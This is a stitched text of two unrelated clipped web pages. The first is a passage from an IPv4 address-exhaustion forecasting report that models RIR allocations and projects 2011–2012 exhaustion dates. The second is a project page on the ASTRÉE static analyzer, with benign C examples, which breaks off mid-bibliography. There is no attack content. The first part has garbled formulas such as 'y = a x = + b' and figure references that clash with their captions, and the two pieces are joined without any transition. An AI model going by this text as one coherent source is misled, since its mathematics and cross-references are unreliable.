> This approach starts with modelling the advertised address count. The first
> step is to take the daily average advertised address span and apply a
> sliding window smoothing function The next step is to apply a number of
> potential data models to the smoothed data. This is shown in Figure 21,
> using a linear model \(y = a _x_ = + b\), an exponential model \(y =  _e_ a
> _x_ \+ b\) and an order-2 polynomial model \(y = a _x_ 2 \+ b _x_ \+ c\)
> <img src='img/Temp2_4275.jpg' />  
>   _Figure 21 - Advertised Address Series - Fit to Data_
> The correlation of each of these models to the smoothed data is shown in
> Figure 22.
> <img src='img/Temp2_4268.jpg' />  
>   _Figure 22 - Error of Best Fit models to smoothed data_
> The correlation of each of these models to the unsmoothed data is shown in
> Figure 23.
> <img src='img/Temp2_4312.jpg' />  
>   _Figure 23 - Error of Best Fit models to raw data_
> The choice of a lowest error model can be illustrated by examining the first
> order differential of the advertised address space. This first order
> differential, and the associated least squares linear best fit, is shown in
> Figure 24.
> <img src='img/Temp2_4330.jpg' />  
>   _Figure 24 - First order differential of advertised address span_
> The rate of growth is increasing, which suggests that a linear trend model
> is not a good fit to the data, and possibly an 2nd order polynomial would be
> a better fit to the data \(if d\(f\(x\)\)/dx = a _x_ \+ b then f\(x\) = a/2
> \* _x_ 2 \+ b _x_ \+ c\). This corresponds to a linear increase in rate of
> growth over time.
> Another possibility is an exponential fit to the data, suggesting that the
> rate of growth is a geometric progression. In this case the first order
> differential of the log of the data will provide the exponential function.
> This is shown in Figure 25. If the best fit model of the first order
> differential were very close to constant, it would suggest that the best fit
> exponential model of f\(x\) = _e_ a _x_ \+ b would be appropriate.
> <img src='img/Temp2_4260.jpg' />  
>   _Figure 25 - First order differential of the log of advertised address
> span_
> The current best fit appears to be an order 2 polynomial function, and this
> quadratic projection of the advertised address count wil be used for the
> projections.
> ### Unadvertised Addresses
> The approach taken here is to model the size of the unadvertised address
> pool as a proportion of the advertised address pool size. Figure 26 shows
> the three steps of this process; namely generating the sequence of the ratio
> of the size of the unadvertised address pool to the size of the advertised
> address pool, then applying a sliding window average function to smooth the
> data, and then generating a model for this ratio that is derived from
> application of a least squares linear best fit to the data. The negative
> trend of this best fit provides a model that the unadvertised address pool
> is growing at a slower rate than the advertised address pool.
> <img src='img/Temp2_4254.jpg' />  
>   _Figure 26 - Unadvertised Ratio Series_
> ### Modelling RIR Allocations
> Another approach to modelling overall address consumption levels is to use
> the RIR allocation information as the baseline of the address consumption
> model. This approach treats an address as "consumed" once it has been
> allocated or assigned by an RIR. The data used to construct the time series
> of allocations is the allocation "stats file" published on a daily basis by
> each RIR, placed into a time series, as indicated in Figure 9. The first
> order differential of the smoothed total allocation rate can be generated,
> as shown in Figure 27. A least squares linear best fit can be generated for
> the recent part of this data, and this can be used to form a second order
> polynomial model of RIR allocation rates over time.
> <img src='img/Temp2_4325.jpg' />  
>   _Figure 27 - Rate of RIR Allocations - First order differential of
> allocation data series_
> ### Modelling RIR behavior
> The next step in this exercise is to model the relative rate of allocations
> from each of the RIRs in order to predict both the time when the last IANA
> allocation would be made, and the time when an RIR unallocated address pool
> will be exhausted.
> Given that we have now defined models for the advertised and unadvertised
> address spaces, then the RIR allocation rate is the first order differential
> of the sum of these two address pools. However while the total RIR
> allocation rate can be derived in this way, the model also requires
> modelling of the relative rate of allocation for each RIR. In order to model
> this the first step is to extract the historical RIR allocations over time.
> \(It should be noted that over time the number of regional Internet
> registries has grown, and older allocations that were made into the region
> where a RIR was subsequently established have been transferred to the
> relevant RIR, with the original dates intact. The data contains allocations
> made in the APNIC, LACNIC and AFRINIC regions prior to the establishment of
> these RIRs.\) This allocation data series is shown in Figure 27.
> <img src='img/Temp2_4259.jpg' />  
>   _Figure 28 - RIR Allocations_
> The technique here is firstly look at the first order differential of the
> smoothed data, and then to apply an appropriate smoothing function to each
> RIR data series, apply a best fit using an exponential function, and then
> projecting this forward. The first order differentials for this allocation
> data is indicated for AFRINIC \(Figure 27a\), APNIC \(Figure 27b\) ARIN
> \(Figure 27c\), LACNIC \(Figure 27d\) and the RIPE NCC \(Figure 27e\), and
> the combined view \(Figure 27f\).
> <img src='img/Temp2_4304.jpg' />  
>   _Figure 28a - AFRINIC Address Allocation Rate_
> <img src='img/Temp2_4262.jpg' />  
>   _Figure 28b - APNIC Address Allocation Rate_
> <img src='img/Temp2_4258.jpg' />  
>   _Figure 28c - ARIN Address Allocation Rate_
> <img src='img/Temp2_4329.jpg' />  
>   _Figure 28d - LACNIC Address Allocation Rate_
> <img src='img/Temp2_4324.jpg' />  
>   _Figure 28e - RIPE NCC Address Allocation Rate_
> <img src='img/Temp2_4277.jpg' />  
>   _Figure 28f - Combined Address Allocation Rate_
> None of these allocation rate sequences, either individually for each RIR,
> appears to be a uniform linear rate. While there are considerable variations
> in this data, both historically over the extended two decade period and over
> the recent 3 years, it appears that some form of non-linear growth model is
> appropriate. The best fit model used in this exercise to model relative RIR
> allocation rates is that of an exponential growth model based on a linear
> best fit to the logarithm of the sequence data. This is shown for AFRINIC
> \(Figure 27a\), APNIC \(Figure 27b\) ARIN \(Figure 27c\), LACNIC \(Figure
> 27d\) and the RIPE NCC \(Figure 27e\), and the combined view \(Figure 27f\).
> <img src='img/Temp2_4322.jpg' />  
>   _Figure 28g - AFRINIC Address Allocations_
> <img src='img/Temp2_4305.jpg' />  
>   _Figure 28h - APNIC Address Allocations_
> <img src='img/Temp2_4255.jpg' />  
>   _Figure 28i - ARIN Address Allocations_
> <img src='img/Temp2_4273.jpg' />  
>   _Figure 28j - LACNIC Address Allocations_
> <img src='img/Temp2_4313.jpg' />  
>   _Figure 28k - RIPE NCC Address Allocations_
> <img src='img/Temp2_4301.jpg' />  
>   _Figure 28l - Combined Address Allocations_
> The slope of these projections can be compared to each other, and a relative
> allocation proportion can be derived for each RIR. From this is it now
> possible to divide up the total address demand from the growth in advertised
> and unadvertised address pools across each RIR, and apportion this to each
> RIR according to the relative allocation rates shown in Figure 28. In other
> words, if a certain address span was allocated by the RIRs in a given month
> then how much of that span would be allocated by AFRINIC, APNIC, etc?. The
> relative allocation rates are shown for all the RIRs in Figure 28, and for
> AFRINIC \(Figure 28a\), APNIC \(Figure 28b\) ARIN \(Figure 28c\), LACNIC
> \(Figure 28d\) and the RIPE NCC \(Figure 28e\)
> <img src='img/Temp2_4295.jpg' />  
>   _Figure 29 - Relative RIR Allocation rates_
> <img src='img/Temp2_4284.jpg' />  
>   _Figure 29a - AFRINIC Relative Address Allocation Rate_
> <img src='img/Temp2_4281.jpg' />  
>   _Figure 29b - APNIC Relative Address Allocation Rate_
> <img src='img/Temp2_4263.jpg' />  
>   _Figure 29c - ARIN Relative Address Allocation Rate_
> <img src='img/Temp2_4317.jpg' />  
>   _Figure 29d - LACNIC Relative Address Allocation Rate_
> <img src='img/Temp2_4264.jpg' />  
>   _Figure 29e - RIPE NCC Relative Address Allocation Rate_
> By looking at historical data is also possible to model for each RIR a "low
> threshold" point for the RIR's unallocated address pool. When the RIR's
> unallocated address pool falls to this level it will request a further
> allocation of address blocks from IANA. The amount requested in this model
> is the lesser of 3 /8 address blocks and the cumulative sum of the RIR's
> address allocations over the previous 18 months. The model also assumes that
> the remainder of the address pool currently marked by the IANA as "Various"
> will not be used for further allocations until the IANA unallocated pool is
> exhausted. This overall model is indicated in Figure 29. This is also shown
> for AFRINIC \(Figure 29a\), APNIC \(Figure 29b\) ARIN \(Figure 29c\), LACNIC
> \(Figure 29d\), the RIPE NCC \(Figure 29e\), and the "Various" address pool
> \(Figure 29f\).
> <img src='img/Temp2_4276.jpg' />  
>   _Figure 30 - Projected Address Allocations_
> <img src='img/Temp2_4280.jpg' />  
>   _Figure 30a - AFRINIC Projected Address Allocations_
> <img src='img/Temp2_4327.jpg' />  
>   _Figure 30b - APNIC Projected Address Allocations_
> <img src='img/Temp2_4274.jpg' />  
>   _Figure 30c - ARIN Projected Address Allocations_
> <img src='img/Temp2_4269.jpg' />  
>   _Figure 30d - LACNIC Projected Address Allocations_
> <img src='img/Temp2_4307.jpg' />  
>   _Figure 30e - RIPE NCC Projected Address Allocations_
> <img src='img/Temp2_4261.jpg' />  
>   _Figure 30f - VARIOUS Pool - Projected Address Allocations_
> These individual RIR pool behaviours can be summed, as shown in Figure 29g.
> Each upward movement in the RIR Pool series represents an IANA allocation to
> one of the RIRs, while the downward movement represents the cumulative
> address allocation rate across the RIR system.
> <img src='img/Temp2_4309.jpg' />  
>   _Figure 31 - Projected Address Allocations_
> ### The Address Consumption Model
> It is now possible to put the components together into a complete model.
> The first is the projection of the advertised address span, which uses a
> second order polynomial \(quadratic\) growth model. This is shown in Figure
> 32.
> <img src='img/Temp2_4320.jpg' />  
>   _Figure 32 - Projected Advertised Address Span \(/8s\)_
> To this can be added the projected unadvertised address span, which is
> modelled as a slower second order polynomial growth series. This is shown in
> Figure 33.
> <img src='img/Temp2_4333.jpg' />  
>   _Figure 33 - Projected Advertised and Unadvertised Address Span \(/8s\)_
> The total address demand is the sum of these two address pools. This is
> shown in Figure 34
> <img src='img/Temp2_4314.jpg' />  
>   _Figure 34 - Projected Address Consumption \(/8s\)_
> The RIR behavior to meet this demand rate can be added to this model,
> together with the demands on the IANA unallocated address pool, as shown in
> Figure 35.
> <img src='img/Temp2_4287.jpg' />  
>   _Figure 35 - Projected RIR and IANA Consumption \(/8s\)_
> These components can be combined to create an overall model of address
> consumption, as shown in Figure 36.
> <img src='img/Temp2_4291.jpg' />  
>   _Figure 36 - Address Consumption Model_
> Here the exhaustion point is the date where the first RIR has exhausted its
> available pool of addresses, and no further numbers are available in the
> IANA unallocated pool to replenish the RIR's pool. The data available
> suggests a best fit predictive model where this will occur on
> **06-Jul-2012**.
> A related prediction is the exhaustion of the IANA unallocated number pool,
> which this model predicts will occur on **24-Sep-2011**.
> ### Predictions Over Time
> This prediction has been generated daily for some years, and the predicted
> date of exhaustion has changed over time. The following two figures show the
> changing date of predicted exhaustion since the start of 2008:
> <img src='img/Temp2_4294.jpg' />  
>   _Figure 37 - Projected IANA and RIR Exhaustion Dates over time_
> <img src='img/Temp2_4257.jpg' />  
>   _Figure 38 - Projected remaining time until IANA and RIR Exhaustion over
> time_
> Figure 37 plots the predicted date of IANA exhaustion and the predicted date
> of the first RIR to exhaust, plotted against the date that the prediction
> was generated. Figure 37 shows the remaining time left until the predicted
> exhaustion dates at the time of the prediction.
> Figure 37 clearly shows the impact of the global financial crisis on the
> growth of the internet, from June 2008 until November 2009, when the
> effective IANA exhaustion data remained a constant 2 years into the
> future.Since November 2009 address consumption has resumed its levels of
> early 2008, and the data of exhaustion has remained relatively steady.
> The pronounced discontinuities are due predominately to policy changes i.e.
> IANA allocating an RIR no more than 2 /8s in a single transaction,
> withholding the last 5 /8s and treating them differently, changes to the
> planned treatment of the legacy space, and due to the inherent instability
> in these numbers. They are unstable because at present one half of all
> address allocations are distributed to 1/100 of all recipients
> \(http://www.potaroo.net/ispcol/2009-05/fig11.png\), implying any change in
> behaviour of a small subset of the population \(namely the larger service
> providers\)\) produces a visible change in the predicted date of exhaustion.
* * *
## How Accurate is this Date?

> This work indicates that if current consumption trends continue then some
> other form of address distribution mechanism will be needed before the IANA
> unallocated address pool exhaustion date of 24-Sep-2011, let alone prior to
> the RIR exhaustion date of 06-Jul-2012. However this is perhaps a very
> conservative projection of a date for the exhaustion of the current address
> allocation policies. Its probable that an industry response to this
> forthcoming situation is one of increasing levels of demand for the
> remaining unallocated address resources, given the impetus of a "last chance
> rush" on the registries. If such a run on the unallocated address pool
> eventuates, and industry players bring forward their requests for additional
> address space, it is possible that this unallocated address pool exhaustion
> date may occur sooner than the model studied would apparently indicate. Such
> a run is difficult to model from existing data, and this exercise here has
> not attempted to undertake such forms of modelling of a run on the address
> pool. About the best we can conclude from this study is that in terms of an
> agenda for development of address distribution policies, this work supports
> the proposition that such policy development should have started by the end
> of 2005. There is a clear need for detailed consideration of what are the
> most appropriate ways to support the continued operation and growth of the
> Internet when the IPv4 unallocated address pool is exhausted. The response
> that the global Internet industry will undertake an overnight transition to
> use IPv6 is perhaps at one somewhat improbable end of a rather broad
> spectrum of possibilities here, if only from the consideration of the
> implausibility of such timing in a network of tis size.
* * *
## Data Sets and Reports

  * Summary of IPv4 Address Allocations  
  
  

  * Listing of the IPv4 space with status and dates
  * Listing of the IANA address pool
  * Listing of the RIR address pool
    * Listing of the AFRINIC component of the RIR address pool
    * Listing of the APNIC component of the RIR address pool
    * Listing of the ARIN component of the RIR address pool
    * Listing of the LACNIC component of the RIR address pool
    * Listing of the RIPE NCC component of the RIR address pool
    * Listing of the VARIOUS component of the RIR address pool \(summary, .csv\)
  * Listing of the Unadvertised address pool
  * Listing of the Advertised address pool
  * RIR Pool - per prefix size count
  * Breakdown of address pools for each /8 prefix
  * Breakdown of address pools by original allocation date
  * Assignment records \('delegated' files published by the RIRs\)
    * Assignment record: AFRINIC
    * Assignment record: APNIC
    * Assignment record: ARIN
    * Assignment record: LACNIC
    * Assignment record: RIPE NCC
    * Assignment record: IANA

* * *
## Resources Used to Generate this Report

The data used in this model is based on public data sources, derived from data
published by the IANA and the Regional Internet Registries.

The data used in this exercise is a combination of the RIRs' statistics
reports and the RIRs' resource databases. There are some inconsistencies in
this data, and the analysis here has had to make some assumptions regarding
the status of address blocks and the allocation dates. Reports on these
inconsistencies can be found at:

  * http://www.cidr-report.org/bogons/rir-data.html
  * http://bgp.potaroo.net/stats/nro/

# The ASTRÉE Static Analyzer

**Created:**| _1/5/2011 1:13:06 PM_  
---|---  
**Updated:**| _1/5/2011 1:13:20 PM_  
**Author:**| __  
**Tags:**| _bookmark research analysis static_  
  

# The ASTRÉE Static Analyzer

* * *
<img src='img/Temp2_7949.gif' width='72' height='72' alt='CNRS' /> | Centre National de la Recherche Scientifique | <img src='img/Temp2_7956.gif' width='90' height='72' alt='ENS' /> | École Normale Supérieure | <img src='img/Temp2_7950.gif' width='90' alt='ENS' /> | INRIA \(since Sep. 2007\)  
---|---|---|---|---|---  
* * *
### Participants:

> Patrick Cousot \(project leader\), Radhia Cousot, Jérôme Feret, Antoine
> Miné, Xavier Rival
### Former participants:

> Bruno Blanchet \(Nov. 2001 — Nov. 2003\), David Monniaux \(Nov. 2001 — Aug.
> 2007\), Laurent Mauborgne \(Nov. 2001 — Aug. 2010\).
* * *
**Contact\(‡\):** <img src='img/Temp2_7955.gif' width='120' height='12' alt='electronic contact to Astrée' /> | http://www.astree.ens.fr/  
---|---  
* * *
ASTRÉE stands for __A_ nalyseur _s_ tatique de logiciels _t_ emps-_ré_ el _e_
mbarqués_ \(real-time embedded software static analyzer\). The development of
ASTRÉE started from scratch in Nov. 2001 at the Laboratoire d'Informatique of
the École Normale Supérieure \(LIENS\), initially supported by the ASTRÉE
project, the Centre National de la Recherche Scientifique, the École Normale
Supérieure and, since September 2007, by INRIA \(Paris—Rocquencourt\).

## Objectives of ASTRÉE

ASTRÉE is a static program analyzer aiming at _proving_ the absence of _Run
Time Errors_ \(RTE\) in programs written in the C programming language. On
personal computers, such errors, commonly found in programs, usually result in
unpleasant error messages and the termination of the application, and
sometimes in a system crash. In embedded applications, such errors may have
graver consequences.

ASTRÉE analyzes structured C programs, with complex memory usages, but without
dynamic memory allocation and recursion. This encompasses many embedded
programs as found in earth transportation, nuclear energy, medical
instrumentation, aeronautic, and aerospace applications, in particular
synchronous control/command such as electric flight control \[30\], \[31\] or
space vessels maneuvers \[32\].

## Industrial Applications of ASTRÉE

The main applications of ASTRÉE appeared two years after starting the project.
Since then, ASTRÉE has achieved the following unprecedented results on the
static analysis of synchronous, time-triggered, real-time, safety critical,
embedded software written or automatically generated in the C programming
language:

  * In Nov. 2003, ASTRÉE was able to prove completely automatically the absence of any RTE in the primary flight control software of the Airbus A340 fly-by-wire system, a program of 132,000 lines of C analyzed in 1h20 on a 2.8 GHz 32-bit PC using 300 Mb of memory \(and 50mn on a 64-bit AMD Athlon™ 64 using 580 Mb of memory\).

|  | <img src='img/Temp2_7948.gif' width='272' height='94' alt='A340-300' />  
---|---|---  
|  |   
  * From Jan. 2004 on, ASTRÉE was extended to analyze the electric flight control codes then in development and test for the A380 series. The operational application by Airbus France at the end of 2004 was just in time before the A380 maiden flight on Wednesday, 27 April, 2005.

|  | <img src='img/Temp2_7951.gif' width='272' height='98' alt='A380' />  
|  |   
  * In April 2008, ASTRÉE was able to prove completely automatically the absence of any RTE in a C version of the automatic docking software of the Jules Vernes Automated Transfer Vehicle \(ATV\) enabling ESA to transport payloads to the International Space Station \[32\].

|  | <img src='img/Temp2_7957.gif' width='272' height='98' alt='ESA-ATV' />  
## Commercialization of ASTRÉE

Starting Dec. 2009, ASTRÉE is commercially available from AbsInt Angewandte
Informatik <img src='img/Temp2_7953.gif' width='80' alt=' AbsInt ' />
\(`www.absint.de/astree/)`.

## Theoretical Background of ASTRÉE

The design of ASTRÉE is based on _abstract interpretation_ , a formal theory
of discrete approximation applied to the semantics of the C programming
language. The informal presentation _Abstract Interpretation in a Nutshell_
aims at providing a short intuitive introduction to the theory. A video
introduces program verification by abstract interpretation \(in French: «  _La
vérification des programmes par interprétation abstraite_ » <img
src='img/Temp2_7954.gif' width='12' height='7' alt='fran\347ais' />\). More
advanced introductory references are \[1\], \[2\] and \[3\].  

Briefly, program verification — including finding possible run-time errors —
is _undecidable_ : there's is no mechanical method that can always answer
truthfully whether programs may or not exhibit runtime properties — including
absence of any run-time error —. This is a deep mathematical result dating
from the works of Church, Gödel and Turing in the 1930's. When faced with this
mathematical impossibility, the choice has been to design an abstract
interpretation-based static analyzer that will automatically:

  * signal _all possible errors_ \(ASTRÉE is _always_ sound\);
  * occasionally signal errors that cannot really happen \(_false alarms_ on spurious executions e.g. when hypotheses on the execution environment are not taken into account\).

Of course, the goal is to be _precise_ , that is to minimize the number of
false alarms. The analysis must also be _cost-effective_ , e.g. being a small
fraction of the costs of running all tests of the program. In the context of
safety-critical reactive software, the goal of zero false alarm was first
attained when proving the absence of any RTE in the primary flight control
software of the Airbus A340.

ASTRÉE is based on the theory of abstract interpretation \[1,2,3\] and so
proceeds by effectively computing an overapproximation of the trace semantic
properties of analyzed programs and then proving that these abstract
properties imply the absence of runtime errors. The program analysis is
iterative \[5\], structural \[10\] \(by induction on the program syntax\),
interprocedural and context-sensitive for procedures \[6\], and extremely
precise for memory \[24\]. It combines several abstractions of a trace
semantics \[7,19\] with a weak form of reduced product \[7,26\]. The basic
general-purpose abstractions are either non-relationals \(like intervals
\[4,5\]\)\) or weakly relational \(like octagons \[16\]\) with uniform
interfaces \[23\]. ASTRÉE precision comes from a clever handling of
disjuctions \[12,14,19\] and domain-specific abstract domains \[13,17\] for
control/command. Most abstractions are infinitary which requires convergence
acceleration with widening/narrowing \[5,9\]. The soundness of the
abstractions is based on Galois connections \[5,7\] or concretization-based
\[8\] in absence of best abstraction.

## Which Program Run-Time Properties are Proved by ASTRÉE?

ASTRÉE aims at proving that the C programming language is correctly used and
that there can be no _Run-Time Errors_ \(RTE\) during any execution in any
environment. This covers:

  * Any use of C defined by the international norm governing the C programming language \(ISO/IEC 9899:1999\) as having an undefined behavior \(such as division by zero or out of bounds array indexing\),
  * Any use of C violating the implementation-specific behavior of the aspects defined by ISO/IEC 9899:1999 as being specific to an implementation of the program on a given machine \(such as the size of integers and arithmetic overflow\),
  * Any potentially harmful or incorrect use of C violating optional user-defined programming guidelines \(such as no modular arithmetic for integers, even though this might be the hardware choice\), and also
  * Any violation of optional, user-provided assertions \(similar to `assert` diagnostics for example\), to prove user-defined run-time properties.

ASTRÉE is parameterized so as to be adaptable to the end-user verification
needs.

## Three Simple Examples ... Hard to Analyze in the Large

The examples below show typical difficulties in statically analyzing
control/command programs. Of course, the real difficulty is to scale up\!

### Booleans

Control/command programs, in particular synchronous ones, manipulate thousands
of boolean variables. Analyzing which program run-time properties hold when
each such boolean variable is either _true_ or _false_ rapidly leads to a
combinatorial explosion of the number of cases to be considered, that is
prohibitive time and memory analysis costs.

For example, the analysis of the following program by ASTRÉE:

[code]

    /* boolean.c */
    typedef enum {FALSE = 0, TRUE = 1} BOOLEAN;
    BOOLEAN B;
    void main () {
      unsigned int X, Y;
      while (1) {
        /* ... */
        B = (X == 0);
        /* ... */
        if (!B) {
          Y = 1 / X;
        };
        /* ... */
      };
    }
    
    
[/code]

yields no warning \(thanks to the relationskip automatically determined
between B and X\), thus proving the absence of any run-time error \(integer
divide-by-zero can never happen when executing this program\).

ASTRÉE has shown to be able to handle successfully thousands of boolean
variables, with just enough precision to avoid both false alarms and
combinatorial explosion \[12\].

### Floating point computations

Command programs controlling complex physical systems are derived from
mathematical models designed with real numbers whereas computer programs
perform floating point computations. The two computation models are completely
different and this can yield very surprising results, such as:

[code]

    /* float-error.c */
    int main () {
        float x, y, z, r;
        x = 1.000000019e+38;
        y = x + 1.0e21;
        z = x - 1.0e21;
        r = y - z;
        printf("%f\n", r);
    }
    % gcc float-error.c
    % ./a.out
    0.000000
    % 
    
[/code]

|

[code]

    /* double-error.c */
    int main () {
      double x; float y, z, r;
      /* x = ldexp(1.,50)+ldexp(1.,26); */
      x = 1125899973951488.0; 
      y = x + 1;
      z = x - 1;
      r = y - z;
      printf("%f\n", r);
    }
    % gcc double-error.c
    % ./a.out
    134217728.000000
    % 
    
[/code]  
---|---  
which could have been thought to print respectively `2.0e21` and `2.0` \(based
on the reasoning that _\(x+a\)-\(x-a\) = 2a_ , which is erroneous because of
roundings\)\!

ASTRÉE handles floating point computations precisely and safely. For example,
ASTRÉE proves the following program free of run-time error when running on a
machine with floats on 32 bits:

[code]

    /* float.c */
    void main () {
      float x,y,z;
      if ((x < -1.0e38) || (x > 1.0e38)) return;
      while (1) {
        y = x+1.0e21;
        z = x-1.0e21;
        x = y-z;
      }
    }
    
[/code]

ASTRÉE is sound for floating point computations in that it takes all possible
rounding errors into account \(and there might be cumulative effects in
programs computing for hours\) \[12,13\].

### Digital filters

Control/command programs perform lots of digital filtering, as shown by the
following example:

[code]

    /* filter.c */
    typedef enum {FALSE = 0, TRUE = 1} BOOLEAN;
    BOOLEAN INIT;
    float P, X;
    
    void filter () {
      static float E[2], S[2];
      if (INIT) {
          S[0] = X;
          P = X;
          E[0] = X;
      } else { 
          P = (((((0.5 * X) - (E[0] * 0.7)) + (E[1] * 0.4)) + (S[0] * 1.5)) - (S[1] * 0.7));
      }
      E[1] = E[0];
      E[0] = X;
      S[1] = S[0];
      S[0] = P;
    }
    
    void main () {
      X = 0.2 * X + 5;
      INIT = TRUE;
      while (1) { 
        X = 0.9 * X + 35;
        filter ();
        INIT = FALSE;
      }
    }
    
    
[/code]

The absence of overflow \(and more precisely that P is in \[-1327.05,
1327.05\] as found by ASTRÉE\) is not obvious, in particular because of 32/64
bits floating point computations. The situation is even more inextricable in
the presence of boolean control, cascades of filters, etc.

ASTRÉE knows enough about control theory to make precise analyzes of filters
\[12,13\].

## ASTRÉE is sound, automatic, efficient, domain-aware, parametric, modular,
extensible and precise

  * Some static analyzers consider only some of the possible run-time errors while others sort out the most probable ones. The aim is then static testing \(that is to find out the most frequent bugs\) rather than verification \(that is to prove the absence of any run-time error\). 
In contrast ASTRÉE is _sound_. ASTRÉE will always exhaustively consider all
possible run-time errors and never omit to signal a potential run-time error,
a minimal requirement for safety critical software.

  * Some static analyzers \(e.g. using theorem provers\) require programs to be decorated with inductive invariants. 
In contrast ASTRÉE is fully _automatic_ , that is never needs to rely on the
user's help.

  * Some static analyzers have high computational costs \(typically hours of computation per 10,000 lines of code\) while others may never terminate or terminate out of memory. 
In contrast ASTRÉE has shown to be _efficient_ and to scale up to real size
programs as found in the industrial practice. Since 2005, ASTRÉE can run on
multicore parallel or distributed machines \[21\].

  * General-purpose static analyzers aim at analyzing any program written in a given programming language and so can only rely on programming language-related properties to point at potential run-time errors.
  * Specialized static analyzers put additional restriction on considered program and so can take specific program structures into account. 
In contrast, ASTRÉE is _domain-aware_ and so knows facts about application
domains that are indispensable to make sophisticated proofs. For example,
ASTRÉE takes the logic and functional properties of control/command theory
into account as implemented in control/command programs \[12\] \[13\].

Moreover, ASTRÉE is _parametric_. This means that the rate \(cost of the
analysis / precision of the analysis\) can be fully adapted to the needs of
ASTRÉE's end-users thanks to parameters and directives tuning the abstraction.

ASTRÉE is _modular_. It is made of pieces \(so called _abstract domains_\)
that can be assembled and parameterized to build application specific
analyzers \[27\], fully adapted to a domain of application or to end-user
needs. Written in OCaml, the modularization of ASTRÉE is made easy thanks to
OCaml's modules and functors.

Finally, ASTRÉE is _extensible_. In case of false alarms, it can be easily
extended by introducing new abstract domains enhancing the precision of the
analysis.

  * A consequence of generality may be low precision. Typical rates of false alarms \(i.e. spurious warnings on potential errors than can never occur at runtime\) are from 10% to 20% of the C basic operations in the program.
  * Specialized static analyzers achieve better precision \(e.g. less than 10% of false alarms\).
  * Even a high selectivity rate of 1 false alarm over 100 operations with potential run-time errors leaves a number of doubtful cases which may be unacceptable for very large safety-critical or mission-critical software \(for example, a selectivity rate of 1% yields 1000 false alarms on a program with 100 000 operations\). 
In contrast ASTRÉE, being modular, parametric and domain-aware can be made
very _precise_ and has shown to be able to produce no false alarm, that is
fully automated correctness proofs.  
Theoretical work was done on locating the origin of alarms \[20\] \[22\].

Rapid overviews of ASTRÉE is proposed in \[14\] and \[18\].

## Presentations of ASTRÉE

  * Presentation of the ASTRÉE static analyzer on Tuesday August 24th, 2004 at the topical day on abstract interpretation of the IFIP World Computer Congress in Toulouse \(France\).
  * Presentation of ASTRÉE on January 20th, 2005 at the _Industrial day on Automatic Tools for Program Verification_, a satellite event of VMCAI'05, Paris, January 17—19, 2005.
  * Presentation of ASTRÉE on March 21st, 2007 at the thirteenth ASTReNet Workshop on Formal Aspects of Source Code Analysis and Manipulation, BCS-FACS, London, England.
  * Presentation of ASTRÉE on December 8th, 2007 at the 11th Annual Asian Computing Science Conference, ASIAN'06, National Center of Sciences, Tokyo, Japan.
  * Presentation of ASTRÉE on June 5th, 2007 at the First IEEE & IFIP International Symposium on Theoretical Aspects of Software Engineering, TASE 2007, Tutorial, Shanghai, China.
  * Presentation of ASTRÉE on October 11th, 2007 at the Embedded Systems Week, Sept 30th—Oct. 5th, Salzburg, Austria.
  * Présentation et démonstration d'ASTRÉE <img src='img/Temp2_7954.gif' width='12' height='7' alt='fran\347ais' /> on October 11th, 2007 at the XIVes Rencontres INRIA - Industrie, INRIA Rocquencourt, France. <img src='img/Temp2_7954.gif' width='12' height='7' alt='fran\347ais' />
  * Presentation of ASTRÉE on 16—17 October 2007 at the ES\_PASS Workshop, Berlin, Germany.
  * Presentation of ASTRÉE on December 10th 2007 at the School of Computer and Communication Sciences Seminar, École Polytechnique Fédérale de Lausanne \(EPFL\), Switzerland.
  * Presentation of ASTRÉE on December 12th, 2007 at the 2007 ISoLA Workshop On Leveraging Applications of Formal Methods, Verification and Validation, Special Workshop Theme: Formal Methods in Avionics, Space and Transport, Poitiers, France.
  * Présentation d'ASTRÉE <img src='img/Temp2_7954.gif' width='12' height='7' alt='fran\347ais' /> on December 20th, at the Séminaire du LINA, Laboratoire d'informatique de Nantes Atlantique, Nantes, France.
  * Presentation of ASTRÉE on January 18th at the Seminar, Computer Science Department, Stony Brook University, Stony Brook, New York, USA.
  * Presentation of ASTRÉE on February 5th, 2008 at the Seminar, Center for Computational and Systems Biology \(COSBI\), The Microsoft Research — University of Trento, Trento, Italy.
  * Presentation of ASTRÉE on February 19th, 2008 at the Colloquia Patavina, Dipartimento di Matematica Pura ed Applicata, Università degli Studi di Padova, Padova, Italy.
  * Presentation of ASTRÉE on April 15th, 2008 at the Dagstuhl seminar 08161, « Scalable Program Analysis », Schloss Dagstuhl, Germany.
  * Presentation of ASTRÉE on August 26th, 2008 at the Max Planck Institute for Software Systems, Saarbrücken, Germany.
  * Presentation of ASTRÉE on September 19th, 2008 at the Final review of the ESA ITI project Space Software Validation using Abstract Interpretation \(SSVAI\). Noordwijk, The Netherlands.
  * Presentation of ASTRÉE on October 30th, 2008 at the Seoul National University, Computer Science & Engineering, Distinguished Lecture Series, Seoul, Korea.
  * Presentation of ASTRÉE on November 21th, the Computer Science Colloquium, Computer Science, New York University, New York, NY, USA.
  * Presentation of ASTRÉE on December 4th, 2008 at the Airbus workshop on formal verification tools strategy, Toulouse, France.
  * Presentation of ASTRÉE on January 18th, 2009 at the Tenth International Conference on Verification, Model Checking, and Abstract Interpretation VMCAI'2009, Savannah, GA, USA.
  * Presentation of ASTRÉE on May 27th, 2009 at the Doctorate Program PUMA, Program and Model Analysis \(Graduiertenkolleg Programm- Und Modell-Analyse\), Fakultät für Informatik, Technische Universität München and the Fakultät für Informatik, Ludwig-Maximilians-Universität München, Germany.

## ASTRÉE Flyer

  * ASTRÉE : Analyse statique de code C critique remps réel synchrone embarqué \(pdf\) <img src='img/Temp2_7954.gif' width='12' height='7' alt='fran\347ais' />

## Introductory Bibliographic References on Abstract Interpretation

  1. Patrick Cousot.  
Interprétation abstraite.  
Technique et Science Informatique, Vol. 19, Nb 1-2-3. Janvier 2000, Hermès,
Paris, France. pp. 155—164. <img src='img/Temp2_7952.gif' width='9' height='7'
alt='(French)' />

  2. Patrick Cousot.  
Abstract Interpretation Based Formal Methods and Future Challenges.  
In Informatics, 10 Years Back - 10 Years Ahead, R. Wilhelm \(Ed.\), Lecture
Notes in Computer Science 2000, pp. 138—156, 2001.

  3. Patrick Cousot & Radhia Cousot.  
Basic Concepts of Abstract Interpretation.  
In Building the Information Society, R. Jacquard \(Ed.\), Kluwer Academic
Publishers, pp. 359—366, 2004.

## Abstract Interpretation foundations of ASTRÉE

  4. Patrick Cousot & Radhia Cousot.  
Static Determination of Dynamic Properties of Programs.  
In Proceedings of the second international symposium on Programming, B.
Robinet \(Ed\), Paris, France, pages 106—130, 13—15 April 1976, Dunod, Paris.

  5. Patrick Cousot & Radhia Cousot.  
